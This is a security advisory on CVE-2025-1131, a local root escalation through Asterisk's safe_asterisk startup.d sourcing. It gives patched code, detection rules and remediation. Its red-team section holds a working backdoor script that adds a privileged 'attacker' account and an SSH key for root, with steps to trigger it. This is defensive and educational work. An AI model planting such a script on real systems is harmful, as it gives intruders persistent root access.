CVE-2025-1131

Executive Summary

CVE-2025-1131 describes a local privilege escalation vulnerability in the safe_asterisk script included with the Asterisk toolkit. When Asterisk is started via this script (common in SysV init or FreePBX environments), it sources all .sh files located in /etc/asterisk/startup.d/ as root, without validating ownership or permissions. Non-root users with legitimate write access to /etc/asterisk can exploit this behavior by placing malicious scripts in the startup.d directory, which will then execute with root privileges upon service restart. This vulnerability has a CVSS score of 0.0 (likely unassigned or placeholder), but the impact is high due to the potential for full system compromise.

Supply Chain & Package Security

This vulnerability is not directly related to a package manager (NPM, PyPI, Go, Ruby) but affects the Asterisk open-source PBX toolkit. The risk is amplified in environments where Asterisk is deployed via FreePBX or similar distributions, as the safe_asterisk script is commonly used. Supply chain security is impacted if the Asterisk package is obtained from untrusted sources or if the startup.d directory is writable by non-root users.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (Unassigned)
• Attack Vector: Local (L)
• Attack Complexity: Low (L)
• Privileges Required: Low (L) – requires write access to /etc/asterisk
• User Interaction: None (N)
• Scope: Unchanged (U)
• Confidentiality Impact: High (H)
• Integrity Impact: High (H)
• Availability Impact: High (H)
• Threat Level: High – local privilege escalation to root.

Deep Dive & Mechanics

The vulnerability lies in the safe_asterisk script, which is a wrapper used to start Asterisk in a resilient manner. The script iterates over all .sh files in /etc/asterisk/startup.d/ and sources them using the source command (or .). This sourcing occurs before the Asterisk process drops privileges, meaning the scripts run as root.

Root Cause: The script does not check the ownership or permissions of the .sh files before sourcing them. Any user with write access to /etc/asterisk/startup.d/ can create a malicious script that will be executed as root.

Attack Scenario:

1. An attacker gains low-privileged access to the system (e.g., via a compromised web application or SSH).
2. The attacker identifies that Asterisk is running and that /etc/asterisk/startup.d/ is writable.
3. The attacker creates a malicious script (e.g., evil.sh) in that directory.
4. The attacker triggers a restart of Asterisk (e.g., via service asterisk restart or by crashing the process).
5. Upon restart, safe_asterisk sources evil.sh as root, granting the attacker root privileges.

Vulnerable vs. Patched Code

Vulnerable Code (safe_asterisk snippet):

# Source startup scripts
for script in /etc/asterisk/startup.d/*.sh; do
    if [ -f "$script" ]; then
        . "$script"
    fi
done

Patched Code (recommended):

# Source startup scripts only if owned by root and not writable by others
for script in /etc/asterisk/startup.d/*.sh; do
    if [ -f "$script" ] && [ "$(stat -c %U "$script")" = "root" ] && [ "$(stat -c %a "$script")" -le 755 ]; then
        . "$script"
    else
        echo "Warning: Skipping insecure script $script" >&2
    fi
done

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Low-privileged shell access on the target.
• Write access to /etc/asterisk/startup.d/.
• Ability to restart Asterisk (or wait for a restart).

Exploit Script (evil.sh):

#!/bin/bash
# This script will be sourced as root
# Add a backdoor user
useradd -m -G wheel -s /bin/bash attacker
echo 'attacker:password123' | chpasswd
# Or add an SSH key
mkdir -p /root/.ssh
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQ..." >> /root/.ssh/authorized_keys

Steps:

1. Write the exploit script to /etc/asterisk/startup.d/evil.sh.
2. Make it executable: chmod +x /etc/asterisk/startup.d/evil.sh.
3. Trigger a restart: sudo service asterisk restart (if allowed) or wait for a reboot.
4. After restart, the backdoor user is created or SSH key is added.

Blue Team (Detection & Prevention)

Detection:

• Monitor for new files in /etc/asterisk/startup.d/ by non-root users.
• Alert on any script execution from that directory.
• Use file integrity monitoring (e.g., AIDE, Tripwire) on /etc/asterisk/.

Prevention:

• Restrict write permissions on /etc/asterisk/startup.d/ to root only.
• Apply the patched code to safe_asterisk.
• Use AppArmor or SELinux to confine the Asterisk process.

Indicators of Compromise (IOCs)

• File: /etc/asterisk/startup.d/*.sh owned by non-root user.
• Process: Asterisk restart events outside of maintenance windows.
• Log: Syslog entries showing safe_asterisk sourcing scripts.
• User: Unexpected user accounts (e.g., attacker) or SSH keys in /root/.ssh/authorized_keys.
• Network: Outbound connections from the Asterisk server to unknown IPs (post-exploitation).

Detection Engineering

YARA Rule

rule CVE_2025_1131_Asterisk_PrivEsc {
    meta:
        description = "Detects malicious scripts in /etc/asterisk/startup.d/"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-1131"
    strings:
        $s1 = "/etc/asterisk/startup.d/" ascii wide
        $s2 = "safe_asterisk" ascii wide
        $s3 = "source" ascii wide
        $s4 = ".sh" ascii wide
    condition:
        $s1 and ($s2 or $s3 or $s4)
}

Sigma Rule

title: CVE-2025-1131 - Asterisk Local Privilege Escalation via startup.d
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects creation of .sh files in /etc/asterisk/startup.d/ by non-root users
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-1131
logsource:
    category: file_event
    product: linux
detection:
    selection:
        TargetFilename|startswith: '/etc/asterisk/startup.d/'
        TargetFilename|endswith: '.sh'
    filter:
        User|contains: 'root'
    condition: selection and not filter
falsepositives:
    - Legitimate scripts placed by root during maintenance
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-1131 - Possible Asterisk Post-Exploitation"; flow:to_server,established; content:"|2f 65 74 63 2f 61 73 74 65 72 69 73 6b 2f 73 74 61 72 74 75 70 2e 64 2f|"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Restrict permissions on /etc/asterisk/startup.d/ to root only: chown root:root /etc/asterisk/startup.d/ && chmod 755 /etc/asterisk/startup.d/.
2. Remove any existing scripts in that directory that are not owned by root.
3. Apply the patched code to safe_asterisk (see Vulnerable vs. Patched Code section).

Long-term:

• Upgrade to a patched version of Asterisk when available.
• Implement file integrity monitoring on critical directories.
• Use privilege separation (e.g., run Asterisk as non-root user if possible).
• Review and harden SysV init scripts.

Workaround:

• Disable the safe_asterisk script and use systemd or other init systems that do not source arbitrary scripts.

Valters IT